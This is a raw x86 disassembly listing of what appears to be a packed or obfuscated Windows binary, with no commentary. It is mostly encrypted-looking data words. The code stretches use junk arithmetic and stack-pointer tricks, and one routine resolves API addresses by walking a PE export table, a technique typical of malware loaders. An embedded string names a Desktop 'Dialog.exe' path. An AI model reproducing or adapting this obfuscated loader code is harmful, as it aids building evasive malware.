0FDA458E4h dd 97E951B2h, 147307EEh, 1230029Fh, 45186B27h, 120C02CFh dd 0D1592127h, 367F8878h, 36C58023h, 12C01623h, 0D1374627h dd 1B38B3EAh, 1272E0D8h, 120FE970h, 4D260127h, 6E8A5EE4h dd 56000503h, 12DC0503h, 45270127h, 7C1D3CE4h, 0A176846Ch dd 786DBB1Ah, 11EE5727h, 32030127h, 9BDFC279h, 93C42553h dd 6642563h, 54300127h, 0A123C271h, 86B18C0Ah, 9F001969h dd 0A53EEAAh, 91F5B921h, 97F300B5h, 147321AEh, 786CCE0Ch dd 11EE5327h, 32030127h, 9BDBC27Dh, 93C42573h, 5642563h dd 50300127h, 5E98375h, 0C08BA4F3h, 31359531h, 6A0613h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 66FBACC3h, 0BD8BF38Bh, 613117Dh, 27E9C38Bh, 74000000h dd 75D23Ch, 8 dup(0) dd 0DAE90000h, 2A000005h, 361CBA9Ch, 260CAAA4h, 381AB892h dd 2709A9A7h, 291CBA9Ah, 0FC58E506h, 0E66CFCDEh, 0FB4DE2C8h dd 0E864F5DBh, 0AFDE01CAh, 16B60633h, 0BDB9A5FCh, 0BF8B1D6Ch dd 0B10E6FAEh, 0B5035F8Eh, 49CC109Dh, 4FDEE07Fh, 0AD81A605h dd 32BE5B02h, 0FE91AB10h, 0C29B107Bh, 63F6DCFAh, 0E37658E9h dd 0F86D4A69h, 109DEA9Eh, 4F9E2667h, 7CD0BB0Bh, 7F1E7FCEh dd 84F57DEEh, 0BD0E7BCEh, 5F43C293h, 50B180D0h, 1CAF9131h dd 1BAB8F2Ch, 0F5CA0F6Dh, 1602B82h, 0C907D130h, 409ACBECh dd 9109E9Ah, 0C51A3C84h, 9A3690C5h, 9EFF109Eh, 0DC6C6EFFh dd 7FF1E776h, 4503580Ah, 0F6F74166h, 228DA425h, 4396BC9Ah dd 48C93809h, 84109E04h, 0A4C1D33h, 15C697B9h, 92796CDDh dd 0EED483F8h, 2160F15Bh, 0A5713F97h, 56D9A341h, 7D000000h dd 8E1D6CBDh, 93A2B2FFh, 0E3721372h, 9DB53692h, 0AA1FAB10h dd 41EAB282h, 27354A3h, 109DC088h, 9D04CC51h, 0Eh, 72EC213Eh dd 3B109DC0h, 0E664F8DAh, 6DBD84DEh, 4EE0C2E1h, 8D03100h dd 69E57559h, 0EB65F6D8h, 0F089095Ah, 805EF042h, 6545075Ah dd 0E470BDCBh, 6DE17155h, 0BEE936DCh, 0AE4666D2h, 36D0180Ah dd 94C00DC5h, 0C8C11436h, 786D775h, 61F3D766h, 429158E9h dd 0B382D060h, 8B008A52h, 41FE8361h, 922BA3h, 0BD0F0000h dd 0D4092670h, 109DB57Ah, 3793C243h, 6B109DB5h, 0A4E976DEh dd 36C1E6C5h, 0D712E65Bh, 84C61ABCh, 0DD8C54B5h, 52E367F9h dd 6AFCDE01h, 8F3455E4h, 0AB29DBD7h, 6BA52FA5h, 0FC9524CEh dd 55B12468h, 1E109DE0h, 4ECF9EFFh, 1CA98F2Fh, 2AB79B38h dd 0FF43A22Ah, 0C891A0B0h, 0C19FCD3Eh, 69A341C3h, 4Ch dd 77D5684Ah, 0C31DA7E6h, 55E470BDh, 4D035476h, 4AFE5183h dd 2807D8FBh, 9DB559B5h, 0BFE32210h, 3051E070h, 35ED5EA8h dd 0B40EACA8h, 1190DDC2h, 2293BC78h, 2826B89Ah, 7E69E819h dd 68E2109Eh, 23EBA9D3h, 153A341h, 0E7000000h, 4EE0C2h dd 0A86C0A31h, 58547298h, 0B9DAF39h, 992C2E3Fh, 44AEA2B3h dd 0A53A20C7h, 697392A3h, 5675D567h, 6C8A0479h, 3253109Eh dd 756CACAAh, 6CA82253h, 2C71109Eh, 66516E4Dh, 3F62D19Eh dd 0EA19A352h, 168F80FBh, 0ABA5361Ch, 0F4717B9Ah, 0BC103291h dd 0A8A7468Eh, 0A9A4577Fh, 0F0F806D2h, 0A1014BDEh, 4F1E2E7Fh dd 8B0B62BEh, 94B9A0Ah, 8AC41638h, 8E2B65BBh, 9FFE54E4h dd 6D25963Ch, 331FADDCh, 3C0D3D8Fh, 411EBCDDh, 0B73EF1Eh dd 0D93C0A8Bh, 0E06CBD0Fh, 70DC6D51h, 6F886C53h, 0E5E96598h dd 53B20A8Ah, 0D5F6056Ch, 1CB65C0Bh, 0EA62F39Fh, 0BDA070CCh dd 65425AACh, 8B0F96F0h, 0D805F0Ah, 0A8B0F91h, 925A3B5Ah dd 1550Bh, 0DDC22F00h, 21AFCD64h, 0BAE12031h, 666ED65Ch dd 58770F5Ah, 8F35C025h, 0E2715916h, 1C3E0F6Eh, 0FD2383C9h dd 0AD91A0ACh, 0B493301Ch, 1FE86293h, 6CB10A8Bh, 8B1FA1FDh dd 0A12B6A0Ah, 3DCE3C42h, 0BA183485h, 2B27B59Dh, 84D7FB1Ah dd 9464FCC4h, 3C5AAC81h, 70h, 0BAE5C222h, 7D435DD5h, 0B22C5DEDh dd 7B109EA3h, 998BB51Ah, 15A1C181h, 47786FCBh, 47956F6h dd 109E338Ah, 74533253h, 6FDF6F53h, 0CA8C2665h, 70956F62h dd 78416C53h, 92CB40CBh, 96BC9B4Ah, 0D9380943h, 0C716700Fh dd 5618909Dh, 0B6CC13E5h, 67113619h, 1214B592h, 66E015B2h dd 2F909E70h, 0BA7E6EEh, 14EF6307h, 8FF6D1F1h, 5C000000h dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h, 0B382CA1Bh dd 8AA0C142h, 0D6B0010Ah, 0D1883584h, 0C998F95Fh, 46173385h dd 0F850E3C7h, 0FF7CF669h, 486AB516h, 0F7915BF9h, 0CF7DD082h dd 9BAAFEFh, 0ACADD2BCh, 0A777376Bh, 0FA50E4C6h, 88C93C9Bh dd 0D91072BCh, 10A1A5B4h, 39930F7Eh, 395C0472h, 99D30958h dd 75115820h, 4517956h, 41103C8Dh, 7190A1C0h, 6AF91867h dd 9DBA0A5Ah, 59E7EE68h, 4593B7FEh, 0F84A6C0Dh, 0BCE18E56h dd 0E0C2C41Eh, 6B6FFE4Ch, 0A2E372DAh, 0A4BDF9C3h, 0BDE2C5E2h dd 0DABFB659h, 4BC736BEh, 14109DC7h, 0B94890F1h, 1685F898h dd 0FF53E1E9h, 0A2FC716Eh, 6B0A8575h, 1B2A4B2Ah, 8A6A637h dd 1EBD8F22h, 1E19FD39h, 7ADCC38Dh, 0F14668DFh, 0AFDE8D57h dd 5D3F20D3h, 0F6A11A58h, 8B2AA4D9h, 92F396BAh, 0F6EE0E2Dh dd 0D9E344F7h, 0C8E666F7h, 0CE3F4FE2h, 96BA4D54h, 4CFE588Dh dd 46C796BAh, 64F594F9h, 607FD162h, 5E78BA77h, 9058E97Eh dd 0F891FBD1h, 6697F74Ah, 96B9EBECh, 0AEBF8D20h, 0DCBDE06Fh dd 0C389DCFEh, 0B66A5572h, 9BDB624Eh, 3EAF5FFh, 48000000h dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh db 24h, 15h, 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 3FF75205h xor ecx, 0A983DECh neg ecx xor ecx, 44545A9Ah xor ecx, 40F228D2h sub ecx, 0CE36E25Bh add ebp, ecx pop ecx sub ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], eax mov eax, 139B6AC5h add eax, 0F27CE6A8h mov edi, eax pop eax push esp mov edx, [esp] add esp, 4 push ebp mov ebp, edi push edi mov edi, ebp mov [edx+8], edi pop edi pop ebp push dword ptr [esp] pop edx add esp, 4 mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- dw 1C9Bh dd 1C3B41A8h, 257AFA48h, 0B26FA382h, 5695B8E2h, 0C5030618h dd 1C36E0FFh, 8D967F3Fh, 0A59E77C4h, 60334C2Ah, 0ED1F2928h dd 5563125Eh, 5FDD4BEFh, 98287724h, 37866A34h, 7D766FA3h dd 0A8735EADh, 5EEC7895h, 0CDB03725h, 5B120CE7h, 0E4CB6470h dd 843E151Eh, 380B14AAh, 364C7830h, 57CA4F3Bh, 0AFF87939h dd 0CDEC0A28h, 0BAC76529h, 0D230C70h, 0EE2C256Bh, 0B38E2278h dd 0E4C70F5Dh, 4B656BC5h, 1E567226h, 1F6444E6h, 0CB2E0EC0h dd 0C7C46934h, 292C18E6h, 8D8D37B5h, 61858F0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C6C35545h, 420B045Eh dd 0E29EB7B2h, 1161B58Bh, 8D890613h, 6131BBDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2AC35242h, 0F8B8B7FCh dd 0B684916Ah, 18DD85C7h, 64CC0613h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0C4DA06C3h dd 2B418501h, 85C70613h, 6133055h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ECC35747h dd 2E773A5Dh, 0FB8BDD75h, 2831B5FFh, 6A0613h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8F0FD6C3h dd 7, 0C7816657h, 0FF5E40AFh, 131D8995h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 29EC5AF7h, 7F2AB72Eh, 820F877Dh, 0 dd 6AF9B70Fh, 0A995FF00h, 8B06130Dh, 4F2FEBC0h, 0CF6CAAADh dd 0FEBAACAEh, 0CD804892h, 0C065C51h, 49C127CCh, 0FC33B55Dh dd 7F55846Eh, 0D448A6BEh, 67384E7Ch, 0EFE05D82h, 199376E6h dd 8D8D0CFCh, 61859F4h, 0F59D2956h, 5806130Bh, 1BBD8D89h dd 0B5010613h, 61331DDh, 18DD85C7h, 5E280613h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0FE97AC3h, 0B2000000h, 59A143AFh, 5C14FB1Bh, 0BA0F17Bh dd 85C771FEh, 6133055h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F3C35242h dd 0DD566C03h, 0B06A46BDh, 0FF39B6C5h, 13125DB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3FEA119Ah, 7118D484h, 0E9852B75h, 0FF061334h, 131D8995h dd 8810F06h, 51000000h, 8B4BDB81h, 6A5B31D3h, 0A995FF00h dd 8B06130Dh, 0DF08EBC0h, 0F942D090h, 0E9F92C04h, 0B0h dd 0DA8C6660h, 0F04C2F6h, 0C85h, 6D853B00h, 0F061311h dd 3684h, 0D1853B00h, 0F061310h, 2A84h, 0C9853B00h, 0F061307h dd 1E84h, 0CD853B00h, 0F061314h, 1284h, 75BD8300h, 106131Ah dd 5840Fh, 5FE90000h, 8B000000h, 3C5203D0h, 88BA8Bh, 4A8B0000h dd 0FC98578h, 4984h, 0F8C28100h, 8B000000h, 0C8030C72h dd 8B1C598Bh, 0D8031451h, 0C9850B8Bh, 10840Fh, 0CE3B0000h dd 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h, 850F4A04h dd 0FFFFFFDCh, 0DE9h, 8D9D8D00h, 0B806134Fh, 5, 0C361E3FFh dd 9D8DD00Bh, 6133005h, 0CEB8h, 99858900h, 0E8061325h dd 0 dd 0D0558h, 3890000h, 0CEE9h, 0F2000000h, 32h dup(0F2000076h) dd 0E9FFFF76h, 8Ah, 5BCFDE32h, 445C3A43h, 6D75636Fh, 73746E65h dd 646E6120h, 74655320h, 676E6974h, 614D5C73h, 6D697472h dd 72614320h, 656E6F62h, 7365445Ch, 706F746Bh, 6169445Ch dd 2E676F6Ch, 657865h, 12h dup(0) dd 3DE90000h, 6800000Eh, 6185DBEh, 0FBEB43E9h, 5EAA68FFh dd 39E90618h, 68FFFBEBh, 6186047h, 0FBEB2FE9h, 608668FFh dd 25E90618h, 68FFFBEBh, 6186128h, 0FBEB1BE9h, 61C268FFh dd 11E90618h, 68FFFBEBh, 6186566h, 0FBEB07E9h, 67E968FFh dd 0FDE90618h, 68FFFBEAh, 61868D1h, 0FBEAF3E9h, 0C3EC0EFFh dd 5758B5DDh, 0C8E3F969h, 5B54AADAh, 0CBD4FD65h, 0D775E9D5h dd 473BA5FAh, 0DD85FBB0h, 9FD3ADFEh, 6E806249h, 0B4B622AAh dd 8986428Ch, 4A61773Ch, 0CEDDFB89h, 0E641DBF4h, 0F64FDA72h dd 0B3D3EA1h, 24EB6C6h, 0AF4EBD78h, 2CC1D300h, 27974E83h dd 0A189F81Ah, 0B04CC498h, 0F604B6FBh, 0CA067786h, 411B48h dd 272B0000h, 780A359Fh, 708B03BDh, 8644763Bh, 93FB6174h dd 0C3EC0174h, 60FAF305h, 0C2B951C5h, 0C03EA1BDh, 0E7E9A7Eh dd 0BD783C9Ah, 0A9AA3072h, 783CAD13h, 0C992B8BDh, 0CA24AA59h dd 0C8F048h, 0FBA50000h, 0EA7486E3h, 0DEFC9908h, 985952B6h dd 0E2CD20B0h, 0D33FD931h, 5440712Eh, 53C545B4h, 294494B2h dd 1D87FFF7h, 0EB4494B2h, 0D707EFB9h, 10656413h, 0A3B04AFFh dd 0EED4D731h, 9498C17Eh, 0FAB14744h, 0AFFCDC88h, 752AC747h dd 0A7C16E63h, 11FC8C8Ch, 73EA1A6h, 48D2EBD5h, 0CC546CF7h dd 4A801EC8h, 0FE533ECEh, 1749C74Dh, 4D52AF1Fh, 0BDE2FF73h dd 3C39CCh, 64654E71h, 0C09h, 0E8DAD535h, 744E617Ch, 0E1BFEC00h dd 70525DB1h, 0E0C2DD04h, 0F3DE7EF0h, 0A94E36ACh, 17F4A002h dd 0A2462E94h, 41459709h, 8CB55FC9h, 15402D42h, 5B455A77h dd 5EDAD127h, 0E866D27Ah, 14564494h, 0E46C9C06h, 906AA704h dd 48D24B8Ah, 455D79DDh, 3B511863h, 0A9E1F763h, 3EA1F4B2h dd 0B3A54E90h, 26EBC01Bh, 70E464D4h, 48BD79F5h, 10880416h dd 0DBD79F5h, 5B4242Dh, 4948CBEDh, 0A5h, 4A6177FAh, 0C9D6FB89h dd 60E00008h, 0B410A62h, 68157583h, 624494E9h, 85931CF2h dd 0E2C0EB0Dh, 0E15556B2h, 0F2299071h, 68D4AA4Dh, 0F3E0FAB0h dd 0F07223Ch, 0A12A9477h, 6240823Eh, 0DD52F38Dh, 601C71FCh dd 0A42414D6h, 0C74D6658h, 0DBD028A0h, 48A9290Dh, 0DA609A57h dd 0F4AB56BEh, 0A4FBE68Eh, 0FFA38827h, 0F792BD70h, 0B1Dh dd 0FCE6C921h, 483A7588h, 0F5EBC01Ch, 643E718Dh, 0F4CED130h dd 2FD24ABCh, 85621270h, 33C8BC26h, 7E5A0A78h, 9579532Dh dd 8CB683F5h, 418C7942h, 5B455A77h, 0E8DAD127h, 4A6177BDh dd 0D8D896CEh, 1DDD0FFEh, 2ACEB61Bh, 0DBF71F81h, 94B8F96Bh dd 8B8DCF44h, 0E94DD862h, 298265EDh, 0A0B87B0Fh, 92023EA1h dd 8B7D3675h, 79D989FBh, 8B3D7FBDh, 1ED3156Dh, 79D936AEh dd 3E0B33BDh, 0CBC13FCEh, 76348h, 6C300000h, 7D9h, 0DD48D245h dd 0F5F6D179h, 0D8783EA1h, 0F38FA906h, 749400B1h, 8C2ED01h dd 9D0EEA9Ah, 2EBCE474h, 48D94D0h, 5D7D0D2Bh, 3CA4BC21h dd 58CC3C58h, 30D63C2Fh, 4A8724B8h, 3EA03A70h, 91416135h dd 1BBD1B65h, 65830F29h, 0F91D7160h, 8446BCDCh, 0D0DBFC94h dd 4CACD84Ah, 0A31AB25Fh, 0AAD63CC6h, 7187DFECh, 0BC1C483Ah dd 47CAC2EFh, 45776EBEh, 4ACE039Ch, 3CC656C2h, 0F0E426D6h dd 5F628F1Ch, 6EDEB2BFh, 0D63CC6FAh, 7A5A90D2h, 21B70FDCh dd 0FAECF8A4h, 0AC0B164h, 0B90CEC98h, 0F40722B5h, 0D300CA4Bh dd 7B24CD45h, 3BF6905Dh, 98404BBBh, 0F436AC09h, 2106F58Eh dd 9C2C2C07h, 0B23482C5h, 0ED9D0143h, 8027EF64h, 0A942B3CDh dd 0B850C802h, 96D075ADh, 37E8295Bh, 7616022Dh, 9CC1695Dh dd 278463CBh, 0FBDD75E1h, 31C703B0h, 0A00BED65h, 8F8ED642h dd 5AA65718h, 16F222B8h, 0F21F8C5Fh, 67A10AE2h, 217928A1h dd 0DDC61970h, 980DCh, 931CBE00h, 7A8452Dh, 9813E999h dd 0BA43A2Ah, 9B04ED95h, 7857925h, 97CBB5EAh, 0D756B40h dd 0AFE3BDEEh, 5E705259h, 88A612BAh, 9996428Ch, 4A61776Ch dd 2829AA41h, 0ADCCF77Dh, 941h, 0F0D2DDFDh, 5C466984h dd 0E9D7D428h, 584A6579h, 0E8DAC52Ch, 1BC646B8h, 91761E84h dd 1FBCA81Ah, 8A6E168Ch, 692DBF21h, 8C8877E1h, 0FD484542h dd 894A6177h, 0D7C9D6FBh, 5CE651BAh, 9EE565D1h, 6C3EA1FAh dd 6316463Ah, 44FDE4DDh, 7F07EF3Ah, 68E65F4h, 3C58C002h dd 889D58CCh, 0ECEE3076h, 32E38E7h, 795E7313h, 0E4C80C83h dd 9111F064h, 0A6F9D868h, 3A1EEC1Eh, 0A869429Ah, 40D0C852h dd 799D03A8h, 0E68BB629h, 90ED3A89h, 0C3D59497h, 7F1325E3h dd 84494269h, 0F9A92DCEh, 89FBBCEh, 4B9F0000h, 0F7167E64h dd 429ACAB8h, 0F30B7769h, 339EC6BCh, 0D44A766Ch, 9C069938h dd 269C0FE8h, 0B40E9D3Eh, 1D8328C0h, 0D53FC7CFh, 0A3428C89h dd 61775FA6h, 0E0FB894Ah, 53A5D5CBh, 3D4494E8h, 44C439D5h dd 4494E8D0h, 7F3476A8h, 0A6C0AD4Bh, 57FB8B8Bh, 653EAD34h dd 73E56571h, 49BD734Ch, 4C219317h, 0E517BD73h, 9F87AF53h dd 25A039B6h, 1314EF1Ch, 4583ED33h, 0DDFB9383h, 6880F4CEh dd 0A8A8E43h, 0C1F9BAF1h, 0A9F6DB37h, 2C7F5C68h, 0F5FF89Fh dd 47426D77h, 805h, 0B40EA139h, 20822DC0h, 0AD139874h dd 1C8629C5h, 0AC168968h, 678A02F4h, 0BD1A4A38h, 0BE094EEh dd 0B65242A0h, 4D318BF5h, 8C894BBDh, 0F9444142h, 0DD87E3FBh dd 0F4870EE9h, 614AAEE6h, 0E7C424B0h, 0E6F3932Ah, 5F416A8Eh dd 0B0C517B7h, 6B9F5457h, 8496749Dh, 266AC9F8h, 4EF8DB1h dd 0FB460000h, 81327993h, 0A4BEAF49h, 9898D89h, 0C3F7BCEFh dd 34BDD535h, 79AB3EADh, 0B8F3157Dh, 923A1ECAh, 0BD734D26h dd 2946D416h, 0AA2A0E11h, 77DC5E4Dh, 0DF59D805h, 46133B92h dd 5DD427D6h, 326B31h, 0D2180000h, 0D373E346h, 4494E861h dd 5CEC2557h, 88920DF4h, 2E0AD004h, 0DCE54524h, 0BE715D6Ch dd 0E016Eh, 7D150000h, 67A3505Bh, 0BE6C82D1h, 45000001h dd 2EE346D2h, 38FC619Eh, 9B10E76Bh, 0EE5AF256h, 0DEC2077Ch dd 0A0C928ACh, 68A95F4Ch, 0F315DE7Ch, 14E8688Ch, 0EDB8197h dd 0B5646F9Eh, 333337h, 0D2E00000h, 9E2EE346h, 6B38FC76h dd 9CAE106h, 5EF902CBh, 553DBE2Fh, 0B6BBF8B3h, 0CF774B18h dd 0C2079465h, 0E8D71153h, 0FA097942h, 0A037B590h, 68h dd 3146D275h, 94E82F99h, 1DEB1D44h, 0E8279139h, 0D3154494h dd 9E0DEB63h, 8C839575h, 88D2F54h, 0EA198952h, 0B0B12651h dd 3Ch, 0A0C928A8h, 93A56348h, 0E346D240h, 0E863D373h dd 13554494h, 47E7126Bh, 2DDC4C15h, 71B126ECh, 18h, 1036C22h dd 58880000h, 8F6B2D0Fh, 77F77B0h, 44943B9Dh, 0B49F396Bh dd 0AC6Ch, 46D24500h, 2E2A2EE3h, 94E82A9Eh, 5AE02244h dd 652B21B2h, 955EFC8Fh, 89519625h, 5ABC1Bh, 0D2890000h dd 0DB73E346h, 6D29AFFCh, 94E86BDDh, 0F21F6144h, 74BD42DAh dd 0F2FF5F24h, 0F9237382h, 30176Eh, 0FBEC0000h, 0FD8273E3h dd 0A33F7FEBh, 0EA0D61E3h, 155AE0CBh, 96362205h, 44944422h dd 912BE81Ah, 5774110Bh, 0BB2B3816h, 23C6930Ch, 752h, 726C0300h dd 45000000h, 894A6177h, 94E88CF3h, 39728A44h, 0BBF00C78h dd 3DD0C4F6h, 0AC324172h, 322C7D9Fh, 0C9415529h, 4494E85Fh dd 0B5DDFB2Dh, 70E05853h, 9A08129Dh, 0E346D22Bh, 547262BBh dd 35D93902h, 694494DDh, 258665EDh, 78EC5CECh, 50BB6B1Bh dd 0BE3EDC0Eh, 4ED91F0Eh dd 0FFFF2D52h, 0CE6C03FFh, 88000002h, 0FDB6E908h, 73356A87h dd 931CB54Fh, 5CDE2FD8h, 4A6177F9h, 0CEDDFB89h, 0E641DBF4h dd 0FEE6672h, 0A7F29AA0h, 553EA1F6h, 76EEDE13h, 73BD7801h dd 7F8EFECBh, 2348CA05h, 5Ah, 6F17FBF0h, 4494E805h, 4627B1F3h dd 1105F13Ch, 94E80F79h, 6C95FD44h, 0B3637533h, 0A1BD2C13h dd 22AAAE3Eh, 0BD783BB6h, 7B387796h, 0F701433Fh, 2688738Bh dd 2F4BE88h, 0B710BC8h, 16BD7800h, 0CBB2B38h, 5248CA18h dd 0E8h, 0CE2FCE46h, 780CCA3Eh, 4A80C2BDh, 6177A5B0h, 0D6FB894Ah dd 5C7C08C9h, 26B7BE19h, 38724889h, 0B5534172h, 34309610h dd 60AA6ACEh, 0DDFE9682h, 3DE525CEh, 49A9201Bh, 6B9F39E4h dd 44941D32h, 0C9B7F414h, 74896AF4h, 0D444763Bh, 941BC034h dd 4486B844h, 0B4D634D4h, 72663EA0h, 7FA46EDAh, 1F906EBDh dd 2BD761A3h, 0FD19FDF9h, 7FA41B8Dh, 0EDC851BDh, 0A3A07584h dd 0B75BDD1Fh, 5191851Ah, 3E65F8E7h, 0A4FBE676h, 0CB4D9B6Fh dd 0DBC42D55h, 13E41BCEh, 0A7FA877h, 461h, 0D0B2FDDDh dd 7C6649A4h, 0C9B7F408h, 786A4599h, 0C8BAE50Ch, 0FBE666D8h dd 0B1563EA4h, 0FFDC88FAh, 0AA4E36ACh, 494D9F01h, 8C8D57C1h dd 0DD282542h, 5B455A77h, 0E7C423ABh, 8427C151h, 815AFA1Eh dd 81773144h, 509AAB78h, 82D167A3h, 0F0986177h, 4494E884h dd 3B783274h, 4A745CDh, 2CA315CFh, 4A492831h, 0BE1A7A80h dd 203A93EDh, 40713ECFh, 0BCD8408Ah, 161CDCA4h, 8A6DCB19h dd 0D01AF021h, 36705C34h, 23B523C7h, 0A106E4E7h, 6390D23Eh dd 55F5E1F5h, 0BD7933E3h, 0B123A7D9h, 97BD7933h, 54A66B40h dd 800C0E50h, 0BD79331Ah, 4E222FEFh, 3356C24Ah, 0E426BD79h dd 57FC5340h, 25B324ABh, 21BD3E48h, 63A5658Eh, 0CA7853F3h dd 2C5EC74Ch, 0CCADF42Ch, 2CF67C65h, 4E0C289Ch, 2CDE20B7h dd 213B940Eh, 0D07A1206h, 50CD77D0h, 47AA2A0Eh, 0D95F9B58h dd 0F4B755BDh, 0EEA6A8Eh, 8496749Dh, 5660AA08h, 169576A9h dd 53ADACh, 6F840000h, 4494E809h, 714FDA62h, 61DAEB01h dd 7A5F1DD5h, 0BDD93D8Bh, 945FDB4Dh, 696FB144h, 5FE05468h dd 0C1C74494h, 0E5F3BC51h, 0FA126A77h, 0A727CFB1h, 2C985956h dd 0D832DFCCh, 6F8C0812h, 0CBC7E806h, 852E7C33h, 945F9007h dd 0FDC8244h, 198724B7h, 116477AAh, 0BDF6B4F7h, 7F7734C7h dd 0F1CAFF0Fh, 0D9B66D40h, 4F849654h, 1DBA5A3Eh, 9D28C8Eh dd 6F515AB1h, 7F60787h, 9468157Fh, 67A1E344h, 7BD739D1h dd 0B0B4494h, 8F446B83h, 0AF5D9D3Bh, 0F1B12681h, 0FFFFFF67h dd 4A6177A2h, 0CEDDFB89h, 3441DBF4h, 94E82094h, 24E61844h dd 0C2D9EC34h, 4F33F349h, 0EA3DCDC9h, 0A03EA1D4h, 2BA3B55Eh dd 0E218D9C6h, 0E44CB458h, 0F159BD79h, 0E04978E8h, 230D48CBh dd 0C6000000h, 56A748D2h, 1FA78F59h, 3EA1BD38h, 7D0FC406h dd 0BD783B07h, 0BF2F3C22h, 48CA2330h, 0B656h, 0E3FB2F00h dd 79BD21B3h, 0A641315Ah, 0ECEECC05h, 965B50A8h, 17DCC32Eh dd 0B3604BADh, 74E4C721h, 66AB00DCh, 601C8694h, 4494DB3Fh dd 0C6BCEF09h, 40713A9Eh, 7A438D8h, 0C762FCF1h, 8B2B0F4Fh dd 0C236289Dh, 4DE86038h, 3B3EA1ACh, 5FD49123h, 8C3E5610h dd 74BFC916h, 0BCEF0C84h, 6135C3F7h, 4DAC9FE9h, 0BB3B6DC7h dd 8FF1AE53h, 28A1FEE3h, 71006E4Bh, 0DEBACFF8h, 60000001h dd 0C7BB258Ah, 5B077936h, 0CCB82A81h, 6F237D32h, 0FBB30D92h dd 2F70910Bh, 0E5C62151h, 377487FBh, 0ECBF1949h, 0A820E8F6h dd 428C8F3Ch, 77F61F0Ch, 275B455Ah, 6649A4D1h, 0D2973EA4h dd 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h, 840410F4h dd 0BD783C10h, 0BA24B6E8h, 24B241B1h, 0C2D848CAh, 0AD000000h dd 377493FBh, 149771A1h, 452979DFh, 0DD31571Ah, 19A1952Dh dd 0DEEF9833h, 8619B85Ch, 0AE53BB4Dh, 5DC73Fh, 0F92B4494h dd 0BCE129AFh, 8A44940Dh, 2F633D6Eh, 0E21D2D9h, 0CD3DB974h dd 3EA13D6Ah, 0EB04DE20h, 0F262D651h, 9D5D9615h, 180B7B9Bh dd 82C74DF4h, 0CEA4A062h, 3CBEA48Eh, 32A296C8h, 6C68D0CFh dd 4CC968DCh, 3860B7h, 1269BAEFh, 356B6D3Bh, 6EFBA44Dh dd 710099A7h, 0F656735Ch, 48000000h, 0EFA3FDB2h, 432F911Eh dd 0F4A002A9h, 372B951Ah, 239B059Ah, 67389933h, 0BDEE0979h dd 4F5CAFE3h, 0C4E70171h, 800810DEh, 428C8014h, 779EE7E4h dd 275B455Ah, 0F65EDAD1h, 20829817h, 4A6177B5h, 0CEDDFB89h dd 0E641DBF4h, 72E66672h, 4A4494E8h, 76160218h, 3EAD34A8h dd 0EFE50E50h, 2E815C19h, 0AEFD0F85h, 0C503C505h, 5A51A7DBh dd 179876DEh, 9A11EADAh, 0F389CA50h, 7E39F128h, 6AC28F2Fh dd 1D391D8Eh, 9B073BADh, 0B325A5D8h, 89D89B07h, 0DF674B57h dd 0D89B0775h, 31C70143h, 466583EFh, 9F42D2h, 13EBD9FAh dd 824C579Ch, 61F1E5B9h, 39AB1F80h, 0FD89B07h, 0AA674497h dd 14809A50h, 1DC9B7F4h, 7279139h, 0D315D89Bh, 0CE2BCD45h dd 9B07CA3Eh, 702FD2D8h, 0BBF8B2F4h, 57C1494Dh, 25D89B07h dd 0BF713FE3h, 9E760037h, 3ED9Ch, 40C40000h, 4C637759h dd 0D0DBFD87h, 515AB123h, 0D8D334A0h, 5748A91Bh, 0D8C72A9Ah dd 5A55A91Bh, 0DAD12B99h, 5D52AB19h, 886852B4h, 89000023h dd 8952242Ch, 4C281E2h, 83000000h, 148704EAh, 1C895C24h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 243C895Ch dd 4C020EBBh, 4EEB8147h, 4B755131h, 2414F753h, 57C3815Bh dd 54D8132Dh, 81243C8Bh, 4C4h, 0DA895200h, 8B085789h, 0C4812414h dd 4, 57243C8Bh, 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h dd 0C4815B24h, 4, 0FBDD1BE9h, 0B189EFFh, 44F25996h, 0B7EE4346h dd 1869ECB8h, 0FFC50306h, 3FA033E0h, 0DCAD5F03h, 0A42DDB7Eh dd 0D8A54F02h, 402FE91Dh, 0A1B5E177h, 0FA142863h, 9E819h dd 0B5B40000h, 0B0DA0A84h, 66EDE810h, 815ED18Bh, 40CA4AF2h dd 0E7C68101h, 5300005Dh, 685ACB8Ah, 174Ah, 4634D281h dd 815F4559h, 3EC6FBD2h, 0F36FF0Bh, 380h, 63C88000h, 13E95Bh dd 0B2300000h, 62A14A4Dh, 0FAB37DD3h, 0E43609B3h, 0A2F3F6F8h dd 0A5F381A5h, 81776973h, 85CAB8EAh, 27C3810Eh, 8025A22Fh dd 0C3813CC0h, 57404E00h, 13E9h, 624D5A00h, 69237207h dd 0F5385CA3h, 0BA4D2208h, 25B2D835h, 45B91E89h, 8354D476h dd 7E803EEh, 59000000h, 6F2262F6h, 8B0F979Bh, 15h, 10E9h dd 